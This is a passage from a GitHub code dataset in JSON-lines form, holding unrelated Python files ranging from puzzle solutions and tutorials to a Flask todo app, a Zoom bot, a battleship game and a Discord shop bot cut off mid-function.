option='ntseq')\n","repo_name":"mmundy42/cobrababel","sub_path":"cobrababel/kegg/kegg.py","file_name":"kegg.py","file_ext":"py","file_size_in_byte":5722,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"10423898432","text":"\"\"\"\nhttps://codingcompetitions.withgoogle.com/codejam/round/000000000043580a/00000000006d1145\n\"\"\"\n\n\ndef solve_case(x, y, str_):\n current = None\n count_x = 0\n count_y = 0\n for s in reversed(str_):\n if current == \"J\" and s == \"C\":\n count_x += 1\n elif current == \"C\" and s == \"J\":\n count_y += 1\n\n if s != \"?\":\n current = s\n return count_x * x + count_y * y\n\n\ndef run():\n cases = int(input())\n for i in range(1, cases + 1):\n x, y, str_ = (x for x in input().split(\" \"))\n x, y = int(x), int(y)\n assert x > 0\n assert y > 0\n soln = solve_case(x, y, str_)\n print(\"Case #{}: {}\".format(i, soln), flush=True)\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"dprgarner/codejam","sub_path":"2021/qualification/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7373182707","text":"\n# __slots__我们已经知道怎么用了,__len__()方法我们也知道是为了能让class作用于len()函数。\n# 除此之外,Python的class中还有许多这样有特殊用途的函数,可以帮助我们定制类。\n\n\nclass Student(object):\n def __init__(self, name, count):\n self.name = name\n self.count = count\n\n # 有点类似于java的toString()方法\n def __str__(self):\n return \"Student name is {} ,count is {}\".format(self.name, self.count)\n\n # 假设该类的\"长度\"为2\n def __len__(self):\n return 2\n\n def __iter__(self):\n return self\n\n def __next__(self):\n self.count = self.count+1 # 计算下一个值\n if self.count > 1000: # 退出循环的条件\n raise StopIteration()\n return self.count # 返回下一个值\n \n # 取第n个元素\n def __getitem__(self,n):\n if isinstance(n,int): #n是索引\n return n\n if isinstance(n,slice): #n是切片\n start = n.start\n stop = n.stop\n if start is None:\n start = 0\n count=1\n L = []\n for x in range(stop):\n if x>=start:\n L.append(count)\n count = count+1\n return L\n \n # 当调用不存在的属性时,比如score,Python解释器会试图调用__getattr__(self, 'score')来尝试获得属性,这样,我们就有机会返回score的值:\n def __getattr__(self,attr):\n if attr=='age':\n return 18 # 返回数值 属性\n if attr=='score':\n return lambda:25 # 返回函数:不管传什么参数都返回25\n\n\nprint(Student('xfhy', 1))\n\n# 如果一个类想被用于for ... in循环,类似list或tuple那样,就必须实现一个__iter__()方法,该方法返回一个迭代对象,然后,Python的for循环就会不断调用该迭代对象的__next__()方法拿到循环的下一个值,直到遇到StopIteration错误时退出循环。\n\nfor n in Student('name', 1):\n print(n)\n\ns = Student('xfhy',1)\nprint(s[5])\nprint(s[1:5])\nprint(s.score()) # 25 当前是无score属性的","repo_name":"xfhy/LearnPython","sub_path":"廖雪峰老师的教程/7. 面向对象高级编程/定制类.py","file_name":"定制类.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11553536948","text":"from enum import Enum\n\n\nclass Command(Enum):\n ACC = 0\n JMP = 1\n NOP = 2\n ERR = -1\n\n @staticmethod\n def fromString(s):\n if s == \"acc\":\n return Command.ACC\n elif s == \"jmp\":\n return Command.JMP\n elif s == \"nop\":\n return Command.NOP\n else:\n return Command.ERR\n\n\nclass Line:\n def __init__(self, command, val):\n self.command = command\n self.val = val\n self.wasRead = False\n\n\ndef main():\n f = open(\"input\")\n acc = 0\n code = []\n for line in f:\n line = line.strip()\n s1, s2 = line.split(\" \")\n command = Command.fromString(s1)\n if command != Command.ERR:\n code.append(Line(command, int(s2)))\n else:\n print(s1 + \" is not a valid command\")\n exit(1)\n cursor = 0\n while True:\n if cursor >= len(code):\n break\n if code[cursor].wasRead:\n break\n else:\n code[cursor].wasRead = True\n if code[cursor].command == Command.ACC:\n acc += code[cursor].val\n cursor += 1\n elif code[cursor].command == Command.JMP:\n cursor += code[cursor].val\n else:\n cursor += 1\n print(\"ACC = \" + str(acc))\n\n\nmain()\n","repo_name":"GuidoFe/AdventOfCoding2020","sub_path":"08-gameboy/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31178154872","text":"import json \nfrom kafka import KafkaConsumer\n\nif __name__ == '__main__':\n # Kafka Consumer \n\n # the auto_offset_reset (latest) will ensure that it will start from the last added message \n consumer = KafkaConsumer(\n 'transformed-messages-output',\n bootstrap_servers='localhost:9092',\n auto_offset_reset='latest'\n )\n\n for message in consumer:\n consumed_message = json.loads(message.value)\n\n print(json.dumps(consumed_message))","repo_name":"todocodo/theoremus-task","sub_path":"kafka-python-code/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11864509104","text":"#!/usr/bin/env python3\n\nimport functools\nimport json\nimport os\n\nimport networkx as nx\nimport networkx.drawing.nx_agraph\n\n\ndef write_dfa(fp, g, start):\n if len(g.edges) == 0:\n print(\"NO EDGES\")\n return\n\n with open(fp, 'w') as f:\n alphabet = set()\n for _, _, aa in g.edges(data=True):\n alphabet.update(aa['alphabet'])\n\n f.write('{}\\n'.format(start))\n f.write('{}\\n'.format(len(g.nodes)))\n for n, data in g.nodes(data=True):\n f.write('{} {}\\n'.format(n, 1 if data['accepts'] >= 1 else 0))\n\n edges = []\n for u, v, data in g.edges(data=True):\n edges.append('{} {} {}'.format(\n u,\n v,\n ' '.join(\n str(ord(c)) for c in data['alphabet']\n )\n ))\n\n # print(alphabet)\n f.write('{}\\n'.format(len(edges)))\n f.write('\\n'.join(edges) + '\\n')\n\n with open(fp + '.nfa', 'w') as f:\n f.write('{}\\n'.format(start))\n f.write('{}\\n'.format(len(g.nodes)))\n for n, data in g.nodes(data=True):\n f.write('{} {}\\n'.format(n, 1 if data['accepts'] >= 1 else 0))\n f.write('{}\\n'.format(len(g.edges)))\n for u, v, data in g.edges(data=True):\n f.write('{} {} {}\\n'.format(\n u,\n v,\n ' '.join(\n str(ord(c)) for c in data['alphabet']\n )\n ))\n\n\ndef simplify(g_pickle_path, out_path):\n G = nx.readwrite.gpickle.read_gpickle(g_pickle_path)\n R = G.reverse(copy=True)\n\n max_accepts = functools.reduce(lambda x, y: max(x, y[1]['accepts']), G.nodes(data=True), 0) + 1\n print('max_accepts:', max_accepts)\n\n for out in range(1, max_accepts):\n out_nodes = set()\n r = R.copy()\n for n, data in r.nodes(data=True):\n if data['accepts'] == out:\n out_nodes.add(n)\n\n subnodes = set(out_nodes)\n # print(subnodes)\n for n in out_nodes:\n r2 = nx.descendants(r, n)\n subnodes.update(r2)\n\n r2 = G.subgraph(subnodes).copy()\n\n # print(r2.copy())\n for n, data in r2.nodes(data=True):\n accepts = data['accepts']\n if accepts > 0 and accepts != out:\n data['accepts'] = 0\n data['label'] += '/None'\n del data['shape']\n\n # Write the simplified graph as dot-file\n networkx.drawing.nx_agraph.write_dot(r2, os.path.join(out_path, '{}.dot'.format(out)))\n\n # Dump the DFA for the Haskell part\n sources = list(n for n, d in r2.in_degree() if d == 0)\n # assert sources\n for start in sources:\n s = nx.descendants(r2, start)\n s.add(start)\n s = r2.subgraph(s).copy()\n write_dfa(os.path.join(out_path, '{}_{}.dfa'.format(out, start)), s, start)\n\n","repo_name":"thebabush/reflex","sub_path":"py/reflex/simplify.py","file_name":"simplify.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"21"} +{"seq_id":"39428013746","text":"__author__ = 'Chaoren'\nimport numpy as np\n\n\ndef rotationAround(u, theta):\n # rotate matrix: rotate theta degree around u, u is a unit vector\n c = np.cos(theta)\n s = np.sin(theta)\n ux = u[0]\n uy = u[1]\n uz = u[2]\n return np.array([[c + ux**2 * (1 - c), ux * uy * (1 - c) - uz * s, ux * uz * (1 - c) + uy * s], [uy * ux * (1 - c) + uz * s, c + uy**2 * (1 - c), uy * uz * (1 - c) - ux * s],\n [uz * ux * (1 - c) - uy * s, uz * uy * (1 - c) + ux * s, c + uz ** 2 * (1 - c)]])\n\n\ndef planeUnitVector(threePointsFrame):\n # given a 3x3 frame with each line being a point, return a unit vector perpendicular to this plane\n threePointsArray = np.array(threePointsFrame)\n vector1 = threePointsArray[1] - threePointsArray[0]\n vector2 = threePointsArray[2] - threePointsArray[0]\n crossProduct = np.cross(vector1, vector2)\n unitvector = crossProduct / np.linalg.norm(crossProduct)\n return unitvector\n\ndef angleBetweenvectors(vector1, vector2):\n # angle between two vectors, vector1 and vector can be non-normalized\n costheta = np.dot(vector1, vector2) / (np.linalg.norm(vector1) * np.linalg.norm(vector2))\n if costheta > 1:\n costheta = 1\n elif costheta < -1:\n costheta = -1\n return np.arccos(costheta)\n\n\ndef decomposeVector(a, u):\n # give vector a and u (u is unit length), return two vectors, the first one is part of a in u direction and the second one is part perpendicular to u\n paralellPart = np.dot(a,u) * u\n return (paralellPart, a - paralellPart) # (parallel part, perpendicular part)\n","repo_name":"liuchaoren/pnaBuilder","sub_path":"database/geoOperations.py","file_name":"geoOperations.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40822480156","text":"from flask import Blueprint, render_template, request, redirect, url_for, jsonify\nfrom . import db, datetimeCalc as dt\n\nbp = Blueprint('todo', 'todo', url_prefix='/')\n\n@bp.route('/')\ndef index():\n\treturn render_template('todo/index.html') \n\n@bp.route('/todos/', methods=['GET', 'POST']) \ndef todos(userid):\n conn = db.get_db()\n cursor = conn.cursor()\n if request.method == \"GET\":\n cursor.execute(\"select name from users where id=?\",[userid])\n userdata = cursor.fetchone()\n username = userdata[0]\n cursor.execute(\"select id, title, due_date, due_time, status from todos where userid=? order by due_date, due_time \",[userid])\n data = cursor.fetchall()\n if data:\n first_todo = data[0][1]\n rem_time, status = dt.rem_time_calc(data[0])\n else:\n first_todo = ''\n rem_time, status = '',''\n return render_template('todo/todos.html', data=data, first_todo=first_todo, rem_time=rem_time, status=status, format_date=dt.format_date, format_time=dt.format_time, check_overdue=dt.check_overdue, nav_right_text=username, userid=userid)\n elif request.method == \"POST\":\n newtodo = request.form.get('new-todo').capitalize()\n newtodo_date = request.form.get('new-todo-date')\n newtodo_time = request.form.get('new-todo-time')\n cursor.execute(\"insert into todos (title, due_date, due_time, userid) values (?,?,?,?)\", [newtodo, newtodo_date, newtodo_time, userid])\n conn.commit()\n return redirect(url_for(\"todo.todos\", userid=userid), 302)\n\n@bp.route('/shopping/', methods=['GET', 'POST']) \ndef shopping(userid):\n conn = db.get_db()\n cursor = conn.cursor()\n if request.method == \"GET\":\n cursor.execute(\"select name from users where id=?\",[userid])\n userdata = cursor.fetchone()\n username = userdata[0]\n cursor.execute(\"select id, item, status from shopping where userid=?\",[userid])\n data = cursor.fetchall()\n return render_template('todo/shopping.html', data=data, nav_right_text=username, userid=userid)\n elif request.method == \"POST\":\n newitem = request.form.get('new-item')\n cursor.execute(\"insert into shopping (item, userid) values (?,?)\", [newitem,userid])\n conn.commit()\n return redirect(url_for(\"todo.shopping\", userid=userid), 302)\n\n\n","repo_name":"amirul-dev/todo_manager","sub_path":"todo/todo.py","file_name":"todo.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"27264573408","text":"import sys, os\nfilename = os.path.join(os.path.dirname(__file__), '..')\nsys.path.insert(1, filename)\nfrom zoomapi import OAuthZoomClient\n\nimport json\nfrom configparser import ConfigParser\nfrom pyngrok import ngrok\n\nparser = ConfigParser()\nparser.read(\"bots/bot.ini\")\nclient_id = parser.get(\"OAuth\", \"client_id\")\nclient_secret = parser.get(\"OAuth\", \"client_secret\")\nport = parser.getint(\"OAuth\", \"port\", fallback=4001)\nbrowser_path = parser.get(\"OAuth\", \"browser_path\")\nprint(f'id: {client_id} browser: {browser_path}')\n\nredirect_url = ngrok.connect(port, \"http\")\nprint(\"Redirect URL is\", redirect_url)\n\nclient = OAuthZoomClient(client_id, client_secret, port, redirect_url, browser_path)\n\nuser_response = client.user.get(id='me')\nuser = json.loads(user_response.content)\nprint(user)\nprint ('---')\n\nprint(json.loads(client.meeting.list(user_id=\"me\").content))\nclient.chat_channels.list()\nchannels = json.loads(client.chat_channels.list().content)[\"channels\"]\nprint(channels)\nfor c in channels:\n print(c)\n if \"test\" in c.values():\n print(\"Found channel test\", c[\"id\"])\n cid = to_channel=c[\"id\"]\nstop = False\nwhile not stop:\n message = input(\"Enter message: \")\n print(client.chat_messages.post(to_channel=cid, message=message))\n if message == \"stop\":\n stop = True ","repo_name":"crista/zoomapi","sub_path":"bots/oauthbot.py","file_name":"oauthbot.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"34765818636","text":"import copy\r\nimport time\r\nfrom random import randint # Импорт библиотеки случайных чисел\r\n\r\n\r\nclass BoardException(Exception):\r\n def __str__(self):\r\n return 'Некорректный ввод!'\r\n\r\n\r\nclass BoardOutException(BoardException):\r\n def __str__(self):\r\n return 'Ход за пределами доски!'\r\n\r\n\r\nclass BoardBusyException(BoardException):\r\n def __str__(self):\r\n return 'Допускаются ходы только в ячейки О!'\r\n\r\n\r\nclass Coord: # Объявляем новый класс с типом данных координат\r\n def __init__(self, x, y):\r\n self.x = x\r\n self.y = y\r\n\r\n def __eq__(self, other):\r\n return self.x == other.x and self.y == other.y\r\n\r\n def __repr__(self):\r\n return f'C ({self.x}, {self.y})'\r\n\r\n\r\nclass Ship: # Класс корабля состоящего из длины, координаты носа и положения\r\n def __init__(self, coord, lenght=2, orientation='v'):\r\n self.coord = coord\r\n self.lenght = lenght\r\n self.orientation = orientation\r\n self.lives = lenght\r\n\r\n @property\r\n def ship_coords(self): # Функция возвращающая коородинаты корабля\r\n s_coords = []\r\n if self.orientation == 'h':\r\n for i in range(self.lenght):\r\n s_coords.append(Coord(self.coord.x, self.coord.y + i))\r\n else:\r\n for i in range(self.lenght):\r\n s_coords.append(Coord(self.coord.x + i, self.coord.y))\r\n return s_coords\r\n\r\n\r\nclass Field: # Класс инииализации игрового поля\r\n def __init__(self, size=6):\r\n self.size = size\r\n\r\n self.ai_hide = True\r\n self.shipspl = []\r\n self.shipsai = []\r\n self.s = [4, 3, 3, 3, 2, 2, 1, 1, 1, 1]\r\n self.ships = self.s[9 - size::]\r\n self.turns = [str(i + 1) for i in range(size)]\r\n self.plfield = [[\"O\"] * size for _ in range(size)]\r\n self.aifield = [[\"O\"] * size for _ in range(size)]\r\n self.aifieldhide = copy.copy(self.aifield)\r\n self.used = []\r\n\r\n def __str__(self): #Вывод поля на печать в консоль\r\n f = \"PL|\"\r\n for i in range(self.size):\r\n if i == 0:\r\n for j in range(1, self.size + 1):\r\n f += f'P_{j}|'\r\n f += f' *** AI|'\r\n for j in range(1, self.size + 1):\r\n f += f'A_{j}|'\r\n f += f'\\n{i + 1}_|'\r\n for n in range(self.size):\r\n f += f' {self.plfield[i][n]} |'\r\n f += f' *** {i + 1}_|'\r\n for n in range(self.size):\r\n if self.ai_hide == True:\r\n f += f' {self.aifieldhide[i][n]} |'\r\n else:\r\n f += f' {self.aifield[i][n]} |'\r\n return f\r\n\r\n def add_ship(self, ship): #Добавление корабля на игровое поле\r\n counter = 0\r\n for i in ship.ship_coords:\r\n if i in self.used:\r\n counter += 1\r\n else:\r\n continue\r\n if counter > 0:\r\n return False\r\n for i in ship.ship_coords:\r\n if i.x < 0 or i.x > self.size or \\\r\n i.y < 0 or i.y > self.size:\r\n return False\r\n for i in ship.ship_coords:\r\n self.plfield[i.x - 1][i.y - 1] = \"■\"\r\n self.used_coord(i)\r\n self.shipspl.append(ship)\r\n return True\r\n\r\n def used_coord(self, coords): #Добавление использованных координат\r\n displacement = (\r\n (-1, -1), (-1, 0), (-1, 1),\r\n (0, -1), (0, 0), (0, 1),\r\n (1, -1), (1, 0), (1, 1)\r\n )\r\n for i, j in displacement:\r\n if Coord(coords.x + i, coords.y + j) not in self.used:\r\n self.used.append(Coord(coords.x + i, coords.y + j))\r\n\r\n def field_clear(self): #Полная очистка полей\r\n self.plfield = [[\"O\"] * self.size for _ in range(self.size)]\r\n self.used = []\r\n self.aifield = [[\"O\"] * self.size for _ in range(self.size)]\r\n self.used_ai = []\r\n self.shipspl = []\r\n self.shipsai = []\r\n\r\n\r\nclass Player: # Класс игрока\r\n\r\n def __init__(self, field):\r\n self.playerships = field.ships\r\n\r\n\r\n def random_board(self, field): #Создание случайной доски, попытка с счетчиком\r\n playerships = copy.copy(self.playerships)\r\n counter = 0\r\n while True:\r\n if counter > 3000:\r\n field.field_clear()\r\n return False\r\n x = randint(1, field.size)\r\n y = randint(1, field.size)\r\n l = max(playerships)\r\n # print(playerships)\r\n o = 'h' if randint(0, 1) == 1 else 'v'\r\n # print(x, y, l, o)\r\n if field.add_ship(Ship(Coord(x, y), l, o)):\r\n field.add_ship(Ship(Coord(x, y), l, o))\r\n playerships.remove(l)\r\n # print(field)\r\n if len(playerships) == 0:\r\n return True\r\n else:\r\n counter += 1\r\n continue\r\n\r\n def player_make_random_board(self, field): #Гарантированное создание игрового поля\r\n while True:\r\n if self.random_board(field) == True:\r\n break\r\n else:\r\n continue\r\n\r\n\r\nclass AIPlayer: # Класс противника ИИ\r\n def __init__(self):\r\n self.pl_board = []\r\n self.ai_board = []\r\n self.pl_ships = []\r\n self.ai_ships = []\r\n\r\n def make_ai_board(self, field, player): #ИИ забирает доску игрока и делается еще одна доска\r\n self.pl_board = copy.copy(field.plfield)\r\n self.pl_ships = copy.copy(field.shipspl)\r\n field.shipspl = []\r\n player.player_make_random_board(field)\r\n self.ai_board = copy.copy(field.plfield)\r\n self.ai_ships = copy.copy(field.shipspl)\r\n field.plfield = self.pl_board\r\n field.shipspl = self.pl_ships\r\n field.aifield = self.ai_board\r\n field.shipsai = self.ai_ships\r\n print(field)\r\n\r\n\r\nclass Battle: #Класс в котором прописан бой\r\n\r\n def __init__(self, field):\r\n self.coords_busy_ai = []\r\n self.coords_busy_pl = []\r\n self.ships_live_pl = len(field.shipspl)\r\n self.ships_live_ai = len(field.shipsai)\r\n\r\n def error(self, d, field):\r\n if len(d) == 2:\r\n if d[0] in field.turns and d[1] in field.turns:\r\n return d\r\n print(\"Некорректный ввод!\")\r\n return False\r\n\r\n def pl_shot(self, field): #Выстрел игрока, возвращает False при промахе\r\n displacement = (\r\n (-1, -1), (-1, 0), (-1, 1),\r\n (0, -1), (0, 0), (0, 1),\r\n (1, -1), (1, 0), (1, 1)\r\n )\r\n s = input(\"Выстел игрока:\")\r\n if self.error(s, field):\r\n shot_coord = Coord(int(s[0]), int(s[1]))\r\n\r\n if shot_coord not in self.coords_busy_ai:\r\n self.coords_busy_ai.append(shot_coord)\r\n shot_x = shot_coord.x - 1\r\n shot_y = shot_coord.y - 1\r\n else:\r\n print('Стрелять можно только в ячейки c О!')\r\n return False\r\n else:\r\n return False\r\n\r\n for ship in field.shipsai:\r\n if shot_coord in ship.ship_coords:\r\n field.aifieldhide[shot_x][shot_y] = 'X'\r\n ship.lives -= 1\r\n if ship.lives == 0:\r\n for i in ship.ship_coords:\r\n for j, k in displacement:\r\n if 0 < i.x + j <= field.size and \\\r\n 0 < i.y + k <= field.size:\r\n if field.aifieldhide[i.x - 1 + j][i.y - 1 + k] != 'X':\r\n field.aifieldhide[i.x - 1 + j][i.y - 1 + k] = '.'\r\n if Coord(i.x + j, i.y + k) not in self.coords_busy_ai:\r\n self.coords_busy_ai.append(Coord(i.x + j, i.y + k))\r\n time.sleep(1)\r\n self.ships_live_ai -= 1\r\n print(f'Корабль противника потоплен. Осталось: {self.ships_live_ai}')\r\n time.sleep(1)\r\n print(field)\r\n return False\r\n else:\r\n time.sleep(1)\r\n print('Попал!')\r\n time.sleep(1)\r\n print(field)\r\n return False\r\n field.aifieldhide[shot_x][shot_y] = '.'\r\n time.sleep(1)\r\n print(\"Мимо!\")\r\n time.sleep(1)\r\n print(field)\r\n return True\r\n\r\n def ai_shot(self, field): #Аналогично игроку стреляет ИИ\r\n displacement = (\r\n (-1, -1), (-1, 0), (-1, 1),\r\n (0, -1), (0, 0), (0, 1),\r\n (1, -1), (1, 0), (1, 1)\r\n )\r\n shot_coord = Coord(randint(1, field.size), randint(1, field.size))\r\n\r\n if shot_coord not in self.coords_busy_pl:\r\n self.coords_busy_pl.append(shot_coord)\r\n shot_x = shot_coord.x - 1\r\n shot_y = shot_coord.y - 1\r\n else:\r\n return True\r\n\r\n time.sleep(1)\r\n for ship in field.shipspl:\r\n if shot_coord in ship.ship_coords:\r\n print('Стреляет AI===>')\r\n field.plfield[shot_x][shot_y] = 'X'\r\n ship.lives -= 1\r\n if ship.lives == 0:\r\n for i in ship.ship_coords:\r\n for j, k in displacement:\r\n if 0 < i.x + j <= field.size and \\\r\n 0 < i.y + k <= field.size:\r\n if field.plfield[i.x - 1 + j][i.y - 1 + k] != 'X':\r\n field.plfield[i.x - 1 + j][i.y - 1 + k] = '.'\r\n if Coord(i.x + j, i.y + k) not in self.coords_busy_pl:\r\n self.coords_busy_pl.append(Coord(i.x + j, i.y + k))\r\n time.sleep(randint(1, 3))\r\n self.ships_live_pl -= 1\r\n print(f'AI уничтожил наш корабль. Осталось: {self.ships_live_pl}')\r\n time.sleep(1)\r\n print(field)\r\n return True\r\n else:\r\n time.sleep(randint(1, 3))\r\n print(f'AI подбил наш корабль в точке {shot_coord.x}{shot_coord.y}!')\r\n time.sleep(1)\r\n print(field)\r\n return True\r\n print('Стреляет AI===>')\r\n time.sleep(randint(1, 3))\r\n field.plfield[shot_x][shot_y] = '.'\r\n print(F\"AI выстрелил в {shot_coord.x}{shot_coord.y} и промахнулся...\")\r\n time.sleep(1)\r\n print(field)\r\n return False\r\n\r\n\r\nclass Game: # Класс для запуска игры\r\n def __init__(self, battle):\r\n self.battle = battle\r\n\r\n def winner(self): #Проверка на победителя\r\n if self.battle.ships_live_ai == 0:\r\n print('Победил игрок!')\r\n return False\r\n if self.battle.ships_live_pl == 0:\r\n print('В этот раз AI оказался сильней...')\r\n print('Все наши корабли на дне(')\r\n return False\r\n return True\r\n\r\n def start(self, field):\r\n winner = 0\r\n while winner == 0:\r\n while True:\r\n if self.winner():\r\n if self.battle.pl_shot(field):\r\n break\r\n else:\r\n continue\r\n else:\r\n winner = 1\r\n break\r\n\r\n while True:\r\n if winner == 0:\r\n if self.winner():\r\n if self.battle.ai_shot(field):\r\n continue\r\n else:\r\n break\r\n else:\r\n winner = 1\r\n break\r\n else:\r\n break\r\n\r\n\r\ns_values = ['5', '6', '7', '8', '9'] #Перечень возможных размеров поля\r\n\r\nprint(\"\"\"\r\nПравила игры:\r\nПри старте запрашивается размер поля. \r\nРазмеры поля могут быть от 5/5 до 9/9 включительно.\r\nТребуется ввести цифру и нажать Enter. \r\nПосле создания двух полей, когда в консоли запрашивается\r\nХод игрока: \r\nТребуется ввести номер строки затем номер столбца без \r\nпробелов, например: 12 - первая строка, второй столбец\r\nСтрелять допускается только в ячейки в состоянии О\r\nПри попадании ячейка сменится на Х\r\nПри промахе ячейска сменится на .\r\nВокруг потопленного корабля . проставятся сами. Все\r\nради комфортного геймплея!\r\nВеселой игры! \r\n\"\"\")\r\n\r\nwhile True: #Запуск игры, обрабатывается исключением при некорректном вводе\r\n s = input('Введите желаемый размер поля от 5 до 9: ')\r\n try:\r\n if s not in s_values:\r\n raise BoardException()\r\n except BoardException as i:\r\n print('Некорректный ввод!!!!!')\r\n continue\r\n else:\r\n s_int = int(s)\r\n f = Field(size=s_int)\r\n p = Player(f)\r\n p.player_make_random_board(f)\r\n ai = AIPlayer()\r\n ai.make_ai_board(f, p)\r\n b = Battle(f)\r\n g = Game(b)\r\n g.start(f)\r\n break\r\n","repo_name":"ARTborisenko/SF-c.2.5-Borisenko","sub_path":"BShips.py","file_name":"BShips.py","file_ext":"py","file_size_in_byte":14600,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3313631255","text":"import asyncio\nimport os\nimport uuid\nimport discord\nfrom discord.ext import commands\nfrom pymongo import MongoClient\nfrom forex_python.converter import CurrencyCodes\nfrom datetime import datetime\n\nc = CurrencyCodes()\ncluster = MongoClient(os.environ['CLUSTER'])\n\ndb = cluster[\"MeowShop\"]\nserv = db[\"Server\"]\ncarts = db[\"Carts\"]\nprods = db[\"Products\"]\norders = db[\"Orders\"]\nprefix = db[\"Prefix\"]\n\n\nasync def get_prefix(bot, message):\n if isinstance(message.channel, discord.DMChannel):\n return \"$\"\n elif isinstance(message.channel, discord.TextChannel):\n guild_id = message.guild.id\n # you can do something here with the guild obj, open a file and return something different per guild\n custom_prefix = prefix.find_one({\"_id\": guild_id})[\"prefix\"]\n return custom_prefix\n\n\nintents = discord.Intents.default()\nintents.guilds = True\nintents.members = True\nbot = commands.Bot(command_prefix=get_prefix, intents=intents)\nbot.remove_command('help')\n\ndef listToString(s):\n str1 = \"\"\n\n for element in s:\n str1 += (element + \" \")\n\n # return string\n return str1\n\n\ndef printOrder(title, description, footer, orderCheck, servInf):\n embedVar = discord.Embed(title=title, description=description, color=0xffcccc)\n items = orderCheck[\"items\"]\n for key in items:\n value = \"Price: `\" + servInf[\"currency\"] + \" \" + str(items[key][0]) + \"` Quantity: `\" \\\n + str(items[key][1]) + \"` Item ID: `\" + items[key][2] + \"`\\nDescription:\\n\" + items[key][3]\n embedVar.add_field(name=key, value=value, inline=False)\n embedVar.add_field(name=\"Sub-Total\",\n value=\"`\" + servInf[\"currency\"] + \" \" + str(orderCheck[\"subtotal\"]) + \"`\",\n inline=False)\n embedVar.add_field(name=\"Shipping\",\n value=\"`\" + servInf[\"currency\"] + \" \" + str(orderCheck[\"shipping\"]) + \"`\",\n inline=False)\n embedVar.add_field(name=\"Total\", value=\"`\" + servInf[\"currency\"] + \" \" + str(orderCheck[\"total\"]) + \"`\",\n inline=False)\n embedVar.set_footer(text=footer)\n return embedVar\n\n\n@bot.event\nasync def on_ready():\n print(\"bot ready\")\n\n\n@bot.event\nasync def on_reaction_add(self, payload):\n pass\n\n\n@bot.event\nasync def on_guild_join(guild):\n default_prefix = {\"_id\": guild.id, \"prefix\": \"$\"}\n prefix.insert_one(default_prefix)\n\n\n@bot.command()\n@commands.guild_only()\nasync def setprefix(ctx, new_prefix):\n old_prefix = prefix.find_one({\"_id\": ctx.guild.id})[\"prefix\"]\n prefix.find_one_and_update({\"_id\": ctx.guild.id}, {\"$set\": {\"prefix\": new_prefix}})\n embedVar = discord.Embed(title=\"Prefix updated\",\n description=\"Old prefix: `\" + old_prefix + \"`\\nNew prefix: `\" + new_prefix + \"`\",\n color=0xffcccc)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.guild_only()\nasync def setname(ctx, item_id, *name):\n name = listToString(name)\n result = prods.find_one_and_update({\"_id\": item_id, \"serverID\": ctx.guild.id}, {\"$set\": {\"name\": name}})\n embedVar = discord.Embed(title=\"Product name change.\",\n description=\"Name change for item: `\" + item_id + \"`\",\n color=0xffcccc)\n if result is None:\n embedVar.add_field(name=\"Item not found.\", value=\"The item with the given item ID does not exist\", inline=False)\n else:\n embedVar.add_field(name=\"Name change successful\",\n value=\"Changed item name from **\" + result[\"name\"] + \"** to **\" + name + \"**\", inline=False)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.guild_only()\nasync def setdesc(ctx, item_id, *desc):\n desc = listToString(desc)\n result = prods.find_one_and_update({\"_id\": item_id, \"serverID\": ctx.guild.id}, {\"$set\": {\"desc\": desc}})\n embedVar = discord.Embed(title=\"Product description change.\",\n description=\"Description change for item: `\" + item_id + \"`\",\n color=0xffcccc)\n if result is None:\n embedVar.add_field(name=\"Item not found.\", value=\"The item with the given item ID does not exist\", inline=False)\n else:\n embedVar.add_field(name=\"Description change successful\",\n value=\"Changed item description from **\" + result[\"desc\"] + \"** to **\" + desc + \"**\", inline=False)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.guild_only()\nasync def setcount(ctx, item_id, count):\n count = int(count)\n embedVar = discord.Embed(title=\"Product Count change.\",\n description=\"Count change for item: `\" + item_id + \"`\",\n color=0xffcccc)\n if count < 0:\n embedVar.add_field(name=\"Invalid Count\",\n value=\"Count must be greater than or equal to 0!\",\n inline=False)\n await ctx.send(embed=embedVar)\n else:\n result = prods.find_one_and_update({\"_id\": item_id, \"serverID\": ctx.guild.id}, {\"$set\": {\"count\": count}})\n\n if result is None:\n embedVar.add_field(name=\"Item not found.\", value=\"The item with the given item ID does not exist\",\n inline=False)\n else:\n embedVar.add_field(name=\"Count change successful\",\n value=\"Changed item Count from **\" + str(result[\"count\"]) + \"** to **\" + str(count) + \"**\",\n inline=False)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.guild_only()\nasync def setprice(ctx, item_id, price):\n price = int(price)\n embedVar = discord.Embed(title=\"Product Count change.\",\n description=\"Count change for item: `\" + item_id + \"`\",\n color=0xffcccc)\n if price < 0:\n embedVar.add_field(name=\"Invalid Price\",\n value=\"P must be greater than or equal to 0!\",\n inline=False)\n await ctx.send(embed=embedVar)\n else:\n result = prods.find_one_and_update({\"_id\": item_id, \"serverID\": ctx.guild.id}, {\"$set\": {\"price\": price}})\n\n if result is None:\n embedVar.add_field(name=\"Item not found.\", value=\"The item with the given item ID does not 